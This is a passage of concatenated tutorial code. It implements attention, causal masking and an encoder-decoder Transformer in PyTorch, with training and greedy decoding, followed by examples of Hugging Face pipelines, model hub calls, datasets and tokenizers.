        # Step 3: Scaled dot-product attention
        # For each head: (batch, 1, seq_len_q, d_k) with (batch, 1, seq_len_k, d_k)
        d_k = Q.size(-1)
        scores = torch.matmul(Q, K.transpose(-2, -1)) / math.sqrt(d_k)

        if mask is not None:
            scores = scores.masked_fill(mask == 0, -1e9)

        attention_weights = F.softmax(scores, dim=-1)
        output = torch.matmul(attention_weights, V)

        print(f"\nAfter attention computation:")
        print(f"Attention scores: {scores.shape}")
        print(f"Attention weights: {attention_weights.shape}")
        print(f"Attention output: {output.shape}")

        # Step 4: Concatenate heads
        # (batch, num_heads, seq_len, d_k) → (batch, seq_len, d_model)
        output = self.combine_heads(output)
        print(f"\nAfter combining heads: {output.shape}")

        # Step 5: Final linear projection
        # (batch, seq_len, d_model) → (batch, seq_len, d_model)
        output = self.W_o(output)
        print(f"After final projection: {output.shape}")
        print(f"{'='*60}\n")

        return output, attention_weights

# Example usage with detailed tracking
d_model = 512
num_heads = 8
batch_size = 2
seq_len = 10

# Create sample input
x = torch.randn(batch_size, seq_len, d_model)

# Initialize multi-head attention
mha = MultiHeadAttention(d_model, num_heads)

# Forward pass (using x for query, key, and value - this is self-attention)
output, attn_weights = mha(x, x, x)

print(f"\nFinal Results:")
print(f"Input shape: {x.shape}")
print(f"Output shape: {output.shape}")
print(f"Attention weights shape: {attn_weights.shape}")
print(f"\nAttention weights for first head, first query position:")
print(attn_weights[0, 0, 0, :])  # Should sum to 1.0
print(f"Sum: {attn_weights[0, 0, 0, :].sum()}")

import torch
import torch.nn.functional as F

# Simple example: "The cat sat on the mat"
sentence = ["The", "cat", "sat", "on", "the", "mat"]
seq_len = len(sentence)
d_model = 4  # Small for visualization

# Create simple embeddings (normally these would be learned)
# Each word gets a random vector
torch.manual_seed(42)
embeddings = torch.randn(1, seq_len, d_model)

# Simple attention (1 head for clarity)
class SimpleAttention(nn.Module):
    def __init__(self, d_model):
        super().__init__()
        self.W_q = nn.Linear(d_model, d_model)
        self.W_k = nn.Linear(d_model, d_model)
        self.W_v = nn.Linear(d_model, d_model)

    def forward(self, x):
        Q = self.W_q(x)
        K = self.W_k(x)
        V = self.W_v(x)

        d_k = Q.size(-1)
        scores = torch.matmul(Q, K.transpose(-2, -1)) / torch.sqrt(torch.tensor(d_k, dtype=torch.float32))
        attn_weights = F.softmax(scores, dim=-1)
        output = torch.matmul(attn_weights, V)

        return output, attn_weights

# Create and run the attention
attn = SimpleAttention(d_model)
output, weights = attn(embeddings)

# Visualize attention weights
print("Attention Weight Matrix:")
print("(Each row shows where that word 'attends to')\n")
print("        ", "  ".join(f"{w:>5}" for w in sentence))
print("-" * 50)
for i, word in enumerate(sentence):
    print(f"{word:>7} |", "  ".join(f"{weights[0, i, j].item():5.3f}" for j in range(seq_len)))

print("\nInterpretation:")
print("- Each row represents a query word")
print("- Each column represents a key word")
print("- Values show how much the query word 'attends to' each key word")
print("- Higher values = stronger attention")
print("- Each row sums to 1.0")

def create_causal_mask(seq_len):
    """
    Create a causal mask for decoder self-attention.
    Prevents attending to future positions.

    Returns a lower triangular matrix:
    [[1, 0, 0, 0],
     [1, 1, 0, 0],
     [1, 1, 1, 0],
     [1, 1, 1, 1]]
    """
    mask = torch.tril(torch.ones(seq_len, seq_len))
    return mask.unsqueeze(0).unsqueeze(0)  # Add batch and head dimensions

# Example with masking
seq_len = 4
mask = create_causal_mask(seq_len)

print("Causal Mask:")
print(mask[0, 0])
print("\nThis ensures that:")
print("- Position 0 can only see position 0")
print("- Position 1 can see positions 0-1")
print("- Position 2 can see positions 0-2")
print("- Position 3 can see all positions 0-3")

# Apply masked attention
query = torch.randn(1, 1, seq_len, 8)
key = torch.randn(1, 1, seq_len, 8)
value = torch.randn(1, 1, seq_len, 8)

output, attn_weights = scaled_dot_product_attention(query, key, value, mask)

print("\nAttention weights with masking:")
print(attn_weights[0, 0])
print("\nNotice how future positions (upper triangle) have ~0 attention weight")

import torch
import torch.nn as nn
import math

class SelfAttention(nn.Module):
    """
    Complete self-attention layer with all components.
    """
    def __init__(self, d_model, num_heads, dropout=0.1):
        super().__init__()
        assert d_model % num_heads == 0

        self.d_model = d_model
        self.num_heads = num_heads
        self.d_k = d_model // num_heads

        # Combined QKV projection (more efficient)
        self.qkv_proj = nn.Linear(d_model, 3 * d_model)
        self.out_proj = nn.Linear(d_model, d_model)
        self.dropout = nn.Dropout(dropout)

    def forward(self, x, mask=None):
        batch_size, seq_len, d_model = x.shape

        # Project to Q, K, V all at once
        qkv = self.qkv_proj(x)  # (batch, seq_len, 3 * d_model)

        # Split into Q, K, V and reshape for multi-head
        qkv = qkv.reshape(batch_size, seq_len, 3, self.num_heads, self.d_k)
        qkv = qkv.permute(2, 0, 3, 1, 4)  # (3, batch, heads, seq_len, d_k)
        q, k, v = qkv[0], qkv[1], qkv[2]

        # Scaled dot-product attention
        scores = torch.matmul(q, k.transpose(-2, -1)) / math.sqrt(self.d_k)

        if mask is not None:
            scores = scores.masked_fill(mask == 0, float('-inf'))

        attn = torch.softmax(scores, dim=-1)
        attn = self.dropout(attn)

        # Combine heads
        out = torch.matmul(attn, v)  # (batch, heads, seq_len, d_k)
        out = out.transpose(1, 2).contiguous()  # (batch, seq_len, heads, d_k)
        out = out.reshape(batch_size, seq_len, d_model)  # (batch, seq_len, d_model)

        # Final projection
        out = self.out_proj(out)

        return out, attn

# Test the complete implementation
model = SelfAttention(d_model=512, num_heads=8, dropout=0.1)
x = torch.randn(2, 10, 512)  # (batch=2, seq_len=10, d_model=512)
output, attention = model(x)

print(f"Input shape: {x.shape}")
print(f"Output shape: {output.shape}")
print(f"Attention shape: {attention.shape}")

import torch
import torch.nn as nn
import torch.nn.functional as F
import math

class PositionalEncoding(nn.Module):
    """
    Adds positional information to the input embeddings.
    Uses sine and cosine functions of different frequencies.
    """
    def __init__(self, d_model, max_len=5000):
        super().__init__()

        # Create positional encoding matrix
        pe = torch.zeros(max_len, d_model)
        position = torch.arange(0, max_len, dtype=torch.float).unsqueeze(1)

        # Compute the div term for sine and cosine
        div_term = torch.exp(torch.arange(0, d_model, 2).float() * (-math.log(10000.0) / d_model))

        # Apply sine to even indices
        pe[:, 0::2] = torch.sin(position * div_term)
        # Apply cosine to odd indices
        pe[:, 1::2] = torch.cos(position * div_term)

        # Add batch dimension: (1, max_len, d_model)
        pe = pe.unsqueeze(0)

        # Register as buffer (not a parameter, but should be saved with model)
        self.register_buffer('pe', pe)

    def forward(self, x):
        """
        Args:
            x: Tensor of shape (batch_size, seq_len, d_model)
        Returns:
            x + positional encoding
        """
        # Add positional encoding to input
        # x: (batch, seq_len, d_model)
        # self.pe[:, :x.size(1)]: (1, seq_len, d_model)
        return x + self.pe[:, :x.size(1)]

class FeedForward(nn.Module):
    """
    Position-wise Feed-Forward Network.
    Consists of two linear transformations with ReLU activation.

    $$\text{FFN}(x) = \max(0, xW_1 + b_1)W_2 + b_2$$
    """
    def __init__(self, d_model, d_ff, dropout=0.1):
        super().__init__()
        self.linear1 = nn.Linear(d_model, d_ff)
        self.linear2 = nn.Linear(d_ff, d_model)
        self.dropout = nn.Dropout(dropout)

    def forward(self, x):
        """
        Args:
            x: (batch_size, seq_len, d_model)
        Returns:
            output: (batch_size, seq_len, d_model)
        """
        # x: (batch, seq_len, d_model)
        # After linear1: (batch, seq_len, d_ff)
        # After ReLU: (batch, seq_len, d_ff)
        # After linear2: (batch, seq_len, d_model)
        return self.linear2(self.dropout(F.relu(self.linear1(x))))

class MultiHeadAttentionLayer(nn.Module):
    """
    Multi-head attention layer with proper matrix dimension tracking.
    """
    def __init__(self, d_model, num_heads, dropout=0.1):
        super().__init__()
        assert d_model % num_heads == 0

        self.d_model = d_model
        self.num_heads = num_heads
        self.d_k = d_model // num_heads

        # Linear layers for Q, K, V projections
        self.W_q = nn.Linear(d_model, d_model)
        self.W_k = nn.Linear(d_model, d_model)
        self.W_v = nn.Linear(d_model, d_model)
        self.W_o = nn.Linear(d_model, d_model)

        self.dropout = nn.Dropout(dropout)
        self.scale = math.sqrt(self.d_k)

    def forward(self, query, key, value, mask=None):
        """
        Args:
            query: (batch_size, seq_len_q, d_model)
            key: (batch_size, seq_len_k, d_model)
            value: (batch_size, seq_len_v, d_model)
            mask: (batch_size, 1, seq_len_q, seq_len_k) or similar
        """
        batch_size = query.size(0)

        # Linear projections: (batch, seq_len, d_model) → (batch, seq_len, d_model)
        Q = self.W_q(query)
        K = self.W_k(key)
        V = self.W_v(value)

        # Reshape for multi-head attention
        # (batch, seq_len, d_model) → (batch, seq_len, num_heads, d_k)
        Q = Q.view(batch_size, -1, self.num_heads, self.d_k)
        K = K.view(batch_size, -1, self.num_heads, self.d_k)
        V = V.view(batch_size, -1, self.num_heads, self.d_k)

        # Transpose to (batch, num_heads, seq_len, d_k)
        Q = Q.transpose(1, 2)
        K = K.transpose(1, 2)
        V = V.transpose(1, 2)

        # Scaled dot-product attention
        # Q @ K^T: (batch, num_heads, seq_len_q, d_k) @ (batch, num_heads, d_k, seq_len_k)
        #        → (batch, num_heads, seq_len_q, seq_len_k)
        scores = torch.matmul(Q, K.transpose(-2, -1)) / self.scale

        # Apply mask if provided
        if mask is not None:
            scores = scores.masked_fill(mask == 0, float('-inf'))

        # Softmax over the last dimension
        attn_weights = F.softmax(scores, dim=-1)
        attn_weights = self.dropout(attn_weights)

        # Apply attention to values
        # attn_weights @ V: (batch, num_heads, seq_len_q, seq_len_k) @ (batch, num_heads, seq_len_v, d_k)
        #                 → (batch, num_heads, seq_len_q, d_k)
        output = torch.matmul(attn_weights, V)

        # Concatenate heads
        # Transpose: (batch, num_heads, seq_len_q, d_k) → (batch, seq_len_q, num_heads, d_k)
        output = output.transpose(1, 2).contiguous()
        # Reshape: (batch, seq_len_q, num_heads, d_k) → (batch, seq_len_q, d_model)
        output = output.view(batch_size, -1, self.d_model)

        # Final linear projection
        output = self.W_o(output)

        return output, attn_weights

class EncoderLayer(nn.Module):
    """
    Single encoder layer consisting of:
    1. Multi-head self-attention
    2. Add & Norm (residual connection + layer normalization)
    3. Feed-forward network
    4. Add & Norm
    """
    def __init__(self, d_model, num_heads, d_ff, dropout=0.1):
        super().__init__()
        self.self_attn = MultiHeadAttentionLayer(d_model, num_heads, dropout)
        self.feed_forward = FeedForward(d_model, d_ff, dropout)
        self.norm1 = nn.LayerNorm(d_model)
        self.norm2 = nn.LayerNorm(d_model)
        self.dropout1 = nn.Dropout(dropout)
        self.dropout2 = nn.Dropout(dropout)

    def forward(self, x, mask=None):
        """
        Args:
            x: (batch_size, seq_len, d_model)
            mask: Attention mask
        Returns:
            output: (batch_size, seq_len, d_model)
        """
        # Self-attention with residual connection
        attn_output, _ = self.self_attn(x, x, x, mask)
        x = x + self.dropout1(attn_output)
        x = self.norm1(x)

        # Feed-forward with residual connection
        ff_output = self.feed_forward(x)
        x = x + self.dropout2(ff_output)
        x = self.norm2(x)

        return x

class DecoderLayer(nn.Module):
    """
    Single decoder layer consisting of:
    1. Masked multi-head self-attention
    2. Add & Norm
    3. Multi-head cross-attention (attending to encoder output)
    4. Add & Norm
    5. Feed-forward network
    6. Add & Norm
    """
    def __init__(self, d_model, num_heads, d_ff, dropout=0.1):
        super().__init__()
        self.self_attn = MultiHeadAttentionLayer(d_model, num_heads, dropout)
        self.cross_attn = MultiHeadAttentionLayer(d_model, num_heads, dropout)
        self.feed_forward = FeedForward(d_model, d_ff, dropout)
        self.norm1 = nn.LayerNorm(d_model)
        self.norm2 = nn.LayerNorm(d_model)
        self.norm3 = nn.LayerNorm(d_model)
        self.dropout1 = nn.Dropout(dropout)
        self.dropout2 = nn.Dropout(dropout)
        self.dropout3 = nn.Dropout(dropout)

    def forward(self, x, encoder_output, src_mask=None, tgt_mask=None):
        """
        Args:
            x: Decoder input (batch_size, tgt_seq_len, d_model)
            encoder_output: Encoder output (batch_size, src_seq_len, d_model)
            src_mask: Source mask for encoder-decoder attention
            tgt_mask: Target mask for masked self-attention
        """
        # Masked self-attention
        attn_output, _ = self.self_attn(x, x, x, tgt_mask)
        x = x + self.dropout1(attn_output)
        x = self.norm1(x)

        # Cross-attention to encoder output
        # Query from decoder, Key and Value from encoder
        attn_output, _ = self.cross_attn(x, encoder_output, encoder_output, src_mask)
        x = x + self.dropout2(attn_output)
        x = self.norm2(x)

        # Feed-forward
        ff_output = self.feed_forward(x)
        x = x + self.dropout3(ff_output)
        x = self.norm3(x)

        return x

class Transformer(nn.Module):
    """
    Complete Transformer model for sequence-to-sequence tasks.
    """
    def __init__(
        self,
        src_vocab_size,
        tgt_vocab_size,
        d_model=512,
        num_heads=8,
        num_encoder_layers=6,
        num_decoder_layers=6,
        d_ff=2048,
        dropout=0.1,
        max_len=5000
    ):
        super().__init__()

        # Embeddings
        self.src_embedding = nn.Embedding(src_vocab_size, d_model)
        self.tgt_embedding = nn.Embedding(tgt_vocab_size, d_model)
        self.positional_encoding = PositionalEncoding(d_model, max_len)

        # Encoder
        self.encoder_layers = nn.ModuleList([
            EncoderLayer(d_model, num_heads, d_ff, dropout)
            for _ in range(num_encoder_layers)
        ])

        # Decoder
        self.decoder_layers = nn.ModuleList([
            DecoderLayer(d_model, num_heads, d_ff, dropout)
            for _ in range(num_decoder_layers)
        ])

        # Output projection
        self.output_projection = nn.Linear(d_model, tgt_vocab_size)

        self.dropout = nn.Dropout(dropout)
        self.d_model = d_model

        # Initialize weights
        self._init_weights()

    def _init_weights(self):
        """Initialize weights using Xavier initialization."""
        for p in self.parameters():
            if p.dim() > 1:
                nn.init.xavier_uniform_(p)

    def make_src_mask(self, src):
        """
        Create mask for source sequence (padding mask).
        Args:
            src: (batch_size, src_seq_len)
        Returns:
            mask: (batch_size, 1, 1, src_seq_len)
        """
        src_mask = (src != 0).unsqueeze(1).unsqueeze(2)
        return src_mask

    def make_tgt_mask(self, tgt):
        """
        Create mask for target sequence (padding + causal mask).
        Args:
            tgt: (batch_size, tgt_seq_len)
        Returns:
            mask: (batch_size, 1, tgt_seq_len, tgt_seq_len)
        """
        tgt_seq_len = tgt.size(1)

        # Padding mask
        tgt_padding_mask = (tgt != 0).unsqueeze(1).unsqueeze(2)

        # Causal mask (prevent attending to future tokens)
        tgt_sub_mask = torch.tril(
            torch.ones((tgt_seq_len, tgt_seq_len), device=tgt.device)
        ).bool()

        # Combine both masks
        tgt_mask = tgt_padding_mask & tgt_sub_mask
        return tgt_mask

    def encode(self, src, src_mask):
        """
        Encode source sequence.
        Args:
            src: (batch_size, src_seq_len)
            src_mask: (batch_size, 1, 1, src_seq_len)
        Returns:
            encoder_output: (batch_size, src_seq_len, d_model)
        """
        # Embedding + Positional encoding
        # src: (batch, src_seq_len) → (batch, src_seq_len, d_model)
        x = self.src_embedding(src) * math.sqrt(self.d_model)
        x = self.positional_encoding(x)
        x = self.dropout(x)

        # Pass through encoder layers
        for layer in self.encoder_layers:
            x = layer(x, src_mask)

        return x

    def decode(self, tgt, encoder_output, src_mask, tgt_mask):
        """
        Decode target sequence.
        Args:
            tgt: (batch_size, tgt_seq_len)
            encoder_output: (batch_size, src_seq_len, d_model)
            src_mask: (batch_size, 1, 1, src_seq_len)
            tgt_mask: (batch_size, 1, tgt_seq_len, tgt_seq_len)
        Returns:
            decoder_output: (batch_size, tgt_seq_len, d_model)
        """
        # Embedding + Positional encoding
        x = self.tgt_embedding(tgt) * math.sqrt(self.d_model)
        x = self.positional_encoding(x)
        x = self.dropout(x)

        # Pass through decoder layers
        for layer in self.decoder_layers:
            x = layer(x, encoder_output, src_mask, tgt_mask)

        return x

    def forward(self, src, tgt):
        """
        Forward pass through the entire transformer.
        Args:
            src: Source sequence (batch_size, src_seq_len)
            tgt: Target sequence (batch_size, tgt_seq_len)
        Returns:
            output: Logits (batch_size, tgt_seq_len, tgt_vocab_size)
        """
        # Create masks
        src_mask = self.make_src_mask(src)
        tgt_mask = self.make_tgt_mask(tgt)

        # Encode
        encoder_output = self.encode(src, src_mask)

        # Decode
        decoder_output = self.decode(tgt, encoder_output, src_mask, tgt_mask)

        # Project to vocabulary
        output = self.output_projection(decoder_output)

        return output

# Example usage
if __name__ == "__main__":
    # Model hyperparameters
    src_vocab_size = 10000
    tgt_vocab_size = 10000
    d_model = 512
    num_heads = 8
    num_encoder_layers = 6
    num_decoder_layers = 6
    d_ff = 2048
    dropout = 0.1

    # Create model
    model = Transformer(
        src_vocab_size=src_vocab_size,
        tgt_vocab_size=tgt_vocab_size,
        d_model=d_model,
        num_heads=num_heads,
        num_encoder_layers=num_encoder_layers,
        num_decoder_layers=num_decoder_layers,
        d_ff=d_ff,
        dropout=dropout
    )

    # Example input (batch_size=2, sequences of length 10)
    src = torch.randint(1, src_vocab_size, (2, 10))
    tgt = torch.randint(1, tgt_vocab_size, (2, 12))

    print("="*60)
    print("TRANSFORMER MODEL SUMMARY")
    print("="*60)
    print(f"Source sequence shape: {src.shape}")
    print(f"Target sequence shape: {tgt.shape}")
    print(f"\nModel parameters:")
    total_params = sum(p.numel() for p in model.parameters())
    trainable_params = sum(p.numel() for p in model.parameters() if p.requires_grad)
    print(f"Total parameters: {total_params:,}")
    print(f"Trainable parameters: {trainable_params:,}")

    # Forward pass
    output = model(src, tgt)

    print(f"\nOutput shape: {output.shape}")
    print(f"Expected: (batch_size={src.size(0)}, tgt_seq_len={tgt.size(1)}, tgt_vocab_size={tgt_vocab_size})")

    # Show dimension flow through the model
    print("\n" + "="*60)
    print("DIMENSION FLOW THROUGH TRANSFORMER")
    print("="*60)

    print("\nENCODER:")
    print(f"1. Input tokens: {src.shape}")
    print(f"2. After embedding: (batch={src.size(0)}, seq={src.size(1)}, d_model={d_model})")
    print(f"3. After positional encoding: Same shape")
    print(f"4. Through {num_encoder_layers} encoder layers: Same shape")
    print(f"5. Encoder output: (batch={src.size(0)}, seq={src.size(1)}, d_model={d_model})")

    print("\nDECODER:")
    print(f"1. Input tokens: {tgt.shape}")
    print(f"2. After embedding: (batch={tgt.size(0)}, seq={tgt.size(1)}, d_model={d_model})")
    print(f"3. After positional encoding: Same shape")
    print(f"4. Through {num_decoder_layers} decoder layers: Same shape")
    print(f"5. After output projection: (batch={tgt.size(0)}, seq={tgt.size(1)}, vocab={tgt_vocab_size})")

    print("\n" + "="*60)

import torch.optim as optim

# Initialize model, loss, and optimizer
model = Transformer(
    src_vocab_size=10000,
    tgt_vocab_size=10000,
    d_model=512,
    num_heads=8,
    num_encoder_layers=6,
    num_decoder_layers=6,
    d_ff=2048,
    dropout=0.1
)

criterion = nn.CrossEntropyLoss(ignore_index=0)  # Ignore padding token
optimizer = optim.Adam(model.parameters(), lr=0.0001, betas=(0.9, 0.98), eps=1e-9)

# Training loop
def train_step(model, src, tgt, optimizer, criterion):
    """
    Single training step.

    Args:
        src: Source sequences (batch_size, src_seq_len)
        tgt: Target sequences (batch_size, tgt_seq_len)
    """
    model.train()
    optimizer.zero_grad()

    # Forward pass
    # Input to decoder is target shifted right (teacher forcing)
    tgt_input = tgt[:, :-1]  # Remove last token
    tgt_output = tgt[:, 1:]   # Remove first token (usually <sos>)

    # Get model predictions
    # output: (batch_size, tgt_seq_len-1, vocab_size)
    output = model(src, tgt_input)

    # Reshape for loss calculation
    # output: (batch_size * (tgt_seq_len-1), vocab_size)
    # tgt_output: (batch_size * (tgt_seq_len-1))
    output = output.reshape(-1, output.size(-1))
    tgt_output = tgt_output.reshape(-1)

    # Calculate loss
    loss = criterion(output, tgt_output)

    # Backward pass
    loss.backward()

    # Gradient clipping (prevents exploding gradients)
    torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0)

    # Update weights
    optimizer.step()

    return loss.item()

# Example training
for epoch in range(10):
    # Generate dummy batch
    src = torch.randint(1, 10000, (32, 20))  # batch_size=32, seq_len=20
    tgt = torch.randint(1, 10000, (32, 25))  # batch_size=32, seq_len=25

    loss = train_step(model, src, tgt, optimizer, criterion)
    print(f"Epoch {epoch+1}, Loss: {loss:.4f}")

def greedy_decode(model, src, max_len, start_token, end_token):
    """
    Greedy decoding: always select the most likely next token.

    Args:
        model: Trained transformer model
        src: Source sequence (1, src_seq_len)
        max_len: Maximum length of generated sequence
        start_token: Start token ID
        end_token: End token ID

    Returns:
        Generated sequence
    """
    model.eval()

    # Encode the source
    src_mask = model.make_src_mask(src)
    encoder_output = model.encode(src, src_mask)

    # Initialize decoder input with start token
    tgt = torch.tensor([[start_token]], device=src.device)

    for _ in range(max_len):
        # Create target mask
        tgt_mask = model.make_tgt_mask(tgt)

        # Decode
        decoder_output = model.decode(tgt, encoder_output, src_mask, tgt_mask)

        # Get predictions for the last token
        # decoder_output: (1, current_seq_len, d_model)
        # We only need the last position: (1, 1, d_model)
        output = model.output_projection(decoder_output[:, -1:, :])

        # Get the token with highest probability
        # output: (1, 1, vocab_size) → (1, 1)
        next_token = output.argmax(dim=-1)

        # Append to target sequence
        tgt = torch.cat([tgt, next_token], dim=1)

        # Stop if we generate the end token
        if next_token.item() == end_token:
            break

    return tgt

# Example inference
src_sequence = torch.randint(1, 10000, (1, 20))
generated = greedy_decode(
    model=model,
    src=src_sequence,
    max_len=50,
    start_token=1,  # <sos> token
    end_token=2     # <eos> token
)
print(f"Generated sequence: {generated}")
print(f"Generated sequence shape: {generated.shape}")

# Installation
pip install transformers datasets tokenizers accelerate
pip install torch torchvision torchaudio  # PyTorch
# OR
pip install tensorflow  # TensorFlow

from transformers import (
    AutoTokenizer, 
    AutoModel, 
    AutoModelForSequenceClassification,
    pipeline
)

# Quick start with pipelines
classifier = pipeline("sentiment-analysis")
result = classifier("I love using Hugging Face!")
print(result)
# [{'label': 'POSITIVE', 'score': 0.9998}]

# Multiple examples
results = classifier([
    "I love this!",
    "I hate this!",
    "This is okay."
])
print(results)

# Load pre-trained model and tokenizer
model_name = "bert-base-uncased"

tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModel.from_pretrained(model_name)

# Tokenize text
text = "Hello, how are you?"
inputs = tokenizer(text, return_tensors="pt", padding=True, truncation=True)

# Get embeddings
with torch.no_grad():
    outputs = model(**inputs)
    last_hidden_states = outputs.last_hidden_state
    pooler_output = outputs.pooler_output

print(f"Last hidden state shape: {last_hidden_states.shape}")
print(f"Pooler output shape: {pooler_output.shape}")

# Sequence Classification (e.g., sentiment analysis)
model = AutoModelForSequenceClassification.from_pretrained(
    "distilbert-base-uncased-finetuned-sst-2-english"
)

# Token Classification (e.g., NER)
from transformers import AutoModelForTokenClassification
model = AutoModelForTokenClassification.from_pretrained("dslim/bert-base-NER")

# Question Answering
from transformers import AutoModelForQuestionAnswering
model = AutoModelForQuestionAnswering.from_pretrained("distilbert-base-cased-distilled-squad")

# Text Generation
from transformers import AutoModelForCausalLM
model = AutoModelForCausalLM.from_pretrained("gpt2")

# Masked Language Modeling
from transformers import AutoModelForMaskedLM
model = AutoModelForMaskedLM.from_pretrained("bert-base-uncased")

# Sequence-to-Sequence (e.g., translation, summarization)
from transformers import AutoModelForSeq2SeqLM
model = AutoModelForSeq2SeqLM.from_pretrained("t5-base")

# Sentiment Analysis
sentiment = pipeline("sentiment-analysis")
print(sentiment("This movie is great!"))

# Named Entity Recognition
ner = pipeline("ner", grouped_entities=True)
print(ner("My name is John and I live in New York"))

# Question Answering
qa = pipeline("question-answering")
context = "The Eiffel Tower is located in Paris, France."
question = "Where is the Eiffel Tower?"
print(qa(question=question, context=context))

# Text Generation
generator = pipeline("text-generation", model="gpt2")
print(generator("Once upon a time", max_length=50, num_return_sequences=2))

# Translation
translator = pipeline("translation_en_to_fr", model="t5-base")
print(translator("Hello, how are you?"))

# Summarization
summarizer = pipeline("summarization", model="facebook/bart-large-cnn")
article = """Long article text here..."""
print(summarizer(article, max_length=130, min_length=30))

# Zero-shot Classification
classifier = pipeline("zero-shot-classification")
text = "This is a course about Python programming"
labels = ["education", "politics", "business"]
print(classifier(text, candidate_labels=labels))

# Fill Mask
unmasker = pipeline("fill-mask", model="bert-base-uncased")
print(unmasker("The capital of France is [MASK]."))

# Feature Extraction
feature_extractor = pipeline("feature-extraction")
features = feature_extractor("Hello world!")
print(f"Features shape: {len(features[0])}")

# Image Classification
from transformers import pipeline
image_classifier = pipeline("image-classification", model="google/vit-base-patch16-224")
result = image_classifier("path/to/image.jpg")

# Object Detection
object_detector = pipeline("object-detection", model="facebook/detr-resnet-50")
results = object_detector("path/to/image.jpg")

from transformers import pipeline, AutoModelForSequenceClassification, AutoTokenizer
import torch

class CustomSentimentPipeline:
    def __init__(self, model_name="distilbert-base-uncased-finetuned-sst-2-english"):
        self.tokenizer = AutoTokenizer.from_pretrained(model_name)
        self.model = AutoModelForSequenceClassification.from_pretrained(model_name)
        self.model.eval()

    def __call__(self, texts, batch_size=8):
        if isinstance(texts, str):
            texts = [texts]

        results = []

        for i in range(0, len(texts), batch_size):
            batch = texts[i:i+batch_size]

            # Tokenize
            inputs = self.tokenizer(
                batch, 
                return_tensors="pt", 
                padding=True, 
                truncation=True,
                max_length=512
            )

            # Forward pass
            with torch.no_grad():
                outputs = self.model(**inputs)
                logits = outputs.logits
                probs = torch.softmax(logits, dim=-1)

            # Convert to results
            for j, prob in enumerate(probs):
                label_id = prob.argmax().item()
                score = prob[label_id].item()
                label = self.model.config.id2label[label_id]

                results.append({
                    'text': batch[j],
                    'label': label,
                    'score': score
                })

        return results

# Usage
custom_pipeline = CustomSentimentPipeline()
results = custom_pipeline(["I love this!", "I hate this!"])
print(results)

from huggingface_hub import HfApi, list_models

api = HfApi()

# List models
models = list_models(
    filter="text-classification",
    sort="downloads",
    direction=-1,
    limit=10
)

for model in models:
    print(f"{model.modelId}: {model.downloads} downloads")

# Search for specific models
models = list_models(search="bert", filter="fill-mask")
for model in models:
    print(model.modelId)

from huggingface_hub import HfApi, create_repo

# Create repository
api = HfApi()
repo_url = create_repo(
    repo_id="username/model-name",
    token="your_token_here",
    private=False
)

# Upload model
api.upload_file(
    path_or_fileobj="path/to/model.bin",
    path_in_repo="model.bin",
    repo_id="username/model-name",
    token="your_token_here"
)

# Or use model.push_to_hub()
model.push_to_hub("username/model-name", token="your_token_here")
tokenizer.push_to_hub("username/model-name", token="your_token_here")

from datasets import load_dataset, load_metric

# Load popular datasets
dataset = load_dataset("glue", "mrpc")
print(dataset)

# Load specific split
train_dataset = load_dataset("imdb", split="train")
test_dataset = load_dataset("imdb", split="test")

# Load subset
small_train = load_dataset("imdb", split="train[:1000]")

# Stream large datasets
dataset = load_dataset("c4", "en", streaming=True)
for example in dataset:
    print(example)
    break

# Load from CSV
dataset = load_dataset("csv", data_files="path/to/file.csv")

# Load from JSON
dataset = load_dataset("json", data_files="path/to/file.json")

# Load from multiple files
dataset = load_dataset(
    "json", 
    data_files={
        "train": "train.json",
        "test": "test.json"
    }
)

from datasets import Dataset, DatasetDict

# Create custom dataset
data = {
    "text": ["Hello", "World", "!"],
    "label": [0, 1, 0]
}
dataset = Dataset.from_dict(data)

# Map function
def tokenize_function(examples):
    return tokenizer(examples["text"], padding="max_length", truncation=True)

tokenized_dataset = dataset.map(tokenize_function, batched=True)

# Filter
filtered_dataset = dataset.filter(lambda x: x["label"] == 1)

# Select
small_dataset = dataset.select(range(100))

# Shuffle
shuffled = dataset.shuffle(seed=42)

# Split
split_dataset = dataset.train_test_split(test_size=0.2)

# Sort
sorted_dataset = dataset.sort("label")

# Add column
dataset = dataset.map(lambda x: {"length": len(x["text"])})

# Remove columns
dataset = dataset.remove_columns(["length"])

# Save and load
dataset.save_to_disk("path/to/save")
loaded_dataset = Dataset.load_from_disk("path/to/save")

from transformers import DataCollatorWithPadding, DataCollatorForLanguageModeling

# Dynamic padding
data_collator = DataCollatorWithPadding(tokenizer=tokenizer)

# For MLM (masked language modeling)
data_collator = DataCollatorForLanguageModeling(
    tokenizer=tokenizer, 
    mlm=True, 
    mlm_probability=0.15
)

# For sequence-to-sequence
from transformers import DataCollatorForSeq2Seq
data_collator = DataCollatorForSeq2Seq(tokenizer=tokenizer, model=model)

# Custom data collator
from dataclasses import dataclass
from typing import Dict, List
import torch

@dataclass
class CustomDataCollator:
    tokenizer: AutoTokenizer

    def __call__(self, features: List[Dict[str, any]]) -> Dict[str, torch.Tensor]:
        batch = {}

        # Extract and pad text
        texts = [f["text"] for f in features]
        tokenized = self.tokenizer(
            texts, 
            padding=True, 
            truncation=True, 
            return_tensors="pt"
        )

        batch.update(tokenized)

        # Add labels
        if "label" in features[0]:
            batch["labels"] = torch.tensor([f["label"] for f in features])

        return batch

from transformers import AutoTokenizer

tokenizer = AutoTokenizer.from_pretrained("bert-base-uncased")

# Basic tokenization
text = "Hello, how are you?"
tokens = tokenizer.tokenize(text)
print(f"Tokens: {tokens}")

# Encode (text to IDs)
input_ids = tokenizer.encode(text)
print(f"Input IDs: {input_ids}")

# Decode (IDs to text)
decoded = tokenizer.decode(input_ids)
print(f"Decoded: {decoded}")

# Full tokenization with special tokens
encoded = tokenizer(
    text,
    padding="max_length",
    truncation=True,
    max_length=128,
    return_tensors="pt"
)
print(f"Input IDs shape: {encoded['input_ids'].shape}")
print(f"Attention mask shape: {encoded['attention_mask'].shape}")

# Batch tokenization
texts = ["Hello!", "How are you?", "Nice to meet you."]
batch_encoded = tokenizer(
    texts,
    padding=True,
    truncation=True,
    return_tensors="pt"
)

# Token type IDs (for sentence pairs)
text_a = "This is sentence A"
text_b = "This is sentence B"
encoded = tokenizer(text_a, text_b, return_tensors="pt")
print(f"Token type IDs: {encoded['token_type_ids']}")

from tokenizers import Tokenizer
from tokenizers.models import BPE, WordPiece
from tokenizers.trainers import BpeTrainer, WordPieceTrainer
from tokenizers.pre_tokenizers import Whitespace

# Create BPE tokenizer
tokenizer = Tokenizer(BPE())
tokenizer.pre_tokenizer = Whitespace()

# Train tokenizer
